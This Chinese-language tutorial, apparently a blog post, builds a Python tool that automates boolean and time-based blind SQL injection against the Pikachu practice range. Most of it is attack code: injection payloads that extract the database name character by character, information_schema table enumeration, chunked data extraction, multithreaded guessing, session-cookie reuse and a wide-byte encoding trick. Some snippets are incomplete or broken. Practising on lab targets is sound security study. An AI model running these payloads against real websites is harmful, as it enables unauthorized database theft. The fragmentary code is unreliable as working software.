当你在Pikachu靶场反复手工尝试SQL盲注时,是否想过用Python解放双手?本文将带你从零构建自动化探测脚本,彻底摆脱低效的手工猜测过程。不同于基础教程的逐个关卡演示,我们将深入剖析布尔盲注和时间盲注的自动化实现原理,提供可直接复用的代码模块。
SQL盲注的本质是通过差异响应来推断数据库信息。手工操作需要逐个字符猜测,而自动化脚本通过系统化请求和响应分析实现高效探测。
布尔盲注依赖页面返回的真假状态判断。自动化实现需要处理三个关键环节:
python复制# 布尔盲注状态判断示例
def check_boolean_condition(response):
return "您的uid" in response.text # 根据实际靶场返回调整
时间盲注通过响应延迟判断条件真假,自动化实现需注意:
python复制# 时间盲注检测示例
import requests
from requests.exceptions import Timeout
try:
response = requests.get(url, params=payload, timeout=2)
return False # 未触发延迟
except Timeout:
return True # 触发延迟条件
在本地搭建测试环境时需注意:
| 配置项 | 推荐值 | 说明 |
|---|---|---|
| PHP版本 | 5.4-7.0 | 兼容Pikachu的常见漏洞实现 |
| 数据库 | MySQL 5.5+ | 确保information_schema可用 |
| 脚本调试模式 | 开启错误显示 | 方便观察SQL语句执行情况 |
构建可扩展的盲注自动化工具需要模块化设计:
python复制class BlindSQLi:
def __init__(self, target_url):
self.url = target_url
self.session = requests.Session()
self.headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
"Accept": "text/html,application/xhtml+xml"
}
def detect_database(self):
"""主探测逻辑"""
pass
def _boolean_test(self, condition):
"""布尔条件测试"""
pass
def _timing_test(self, condition):
"""时间条件测试"""
pass
采用二分法优化传统线性猜测,将时间复杂度从O(n)降低到O(log n):
python复制def get_database_length(self, max_guess=30):
low, high = 1, max_guess
while low <= high:
mid = (low + high) // 2
payload = f"admin' AND LENGTH(database())>{mid}-- "
if self._test_condition(payload):
low = mid + 1
else:
high = mid - 1
return low
字符猜解采用逐位ASCII比较,避免引号逃逸问题:
python复制def get_database_name(self, length):
db_name = ""
for pos in range(1, length+1):
for char_code in range(32, 127):
payload = f"admin' AND ASCII(SUBSTRING(database(),{pos},1))={char_code}-- "
if self._test_condition(payload):
db_name += chr(char_code)
break
return db_name
基于information_schema的通用查询方法:
python复制def get_tables(self, db_name):
table_count_payload = f"admin' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db_name}')>{0}-- "
# 先获取表数量,再逐个获取表名
...
针对Pikachu的特殊处理技巧:
GROUP_CONCAT合并多行结果SUBSTRING分段获取python复制# 分段获取长数据示例
def get_long_data(self, query_template, chunk_size=30):
full_data = ""
for offset in range(0, 1000, chunk_size):
payload = query_template.format(offset, chunk_size)
chunk = self._extract_data(payload)
if not chunk:
break
full_data += chunk
return full_data
通过并发请求大幅提升效率:
python复制from concurrent.futures import ThreadPoolExecutor
def concurrent_guess(position):
with ThreadPoolExecutor(max_workers=10) as executor:
futures = {
executor.submit(self._test_char, position, char): char
for char in printable_chars
}
for future in as_completed(futures):
if future.result():
return futures[future]
其他优化手段:
会话维持:处理PHPSESSID等会话标识
python复制self.session.cookies.update({
"PHPSESSID": "从浏览器获取的实际值"
})
请求编码:处理宽字节等特殊场景
python复制payload = f"admin%df' AND 1=1-- ".encode('latin1')
错误处理:应对WAF拦截和异常响应
python复制try:
response = self.session.post(url, data=data, timeout=3)
response.raise_for_status()
except requests.exceptions.RequestException as e:
print(f"请求失败: {str(e)}")
return None
完整脚本应包含以下功能模块:
在Pikachu的布尔盲注关卡测试时,发现当查询条件为真时页面会显示用户ID,而条件为假时显示"用户不存在"。这个特征差异正是我们自动化脚本判断的依据。对于时间盲注,设置3秒的延迟阈值能有效区分真假条件,但要注意本地测试环境的性能波动可能影响判断准确性。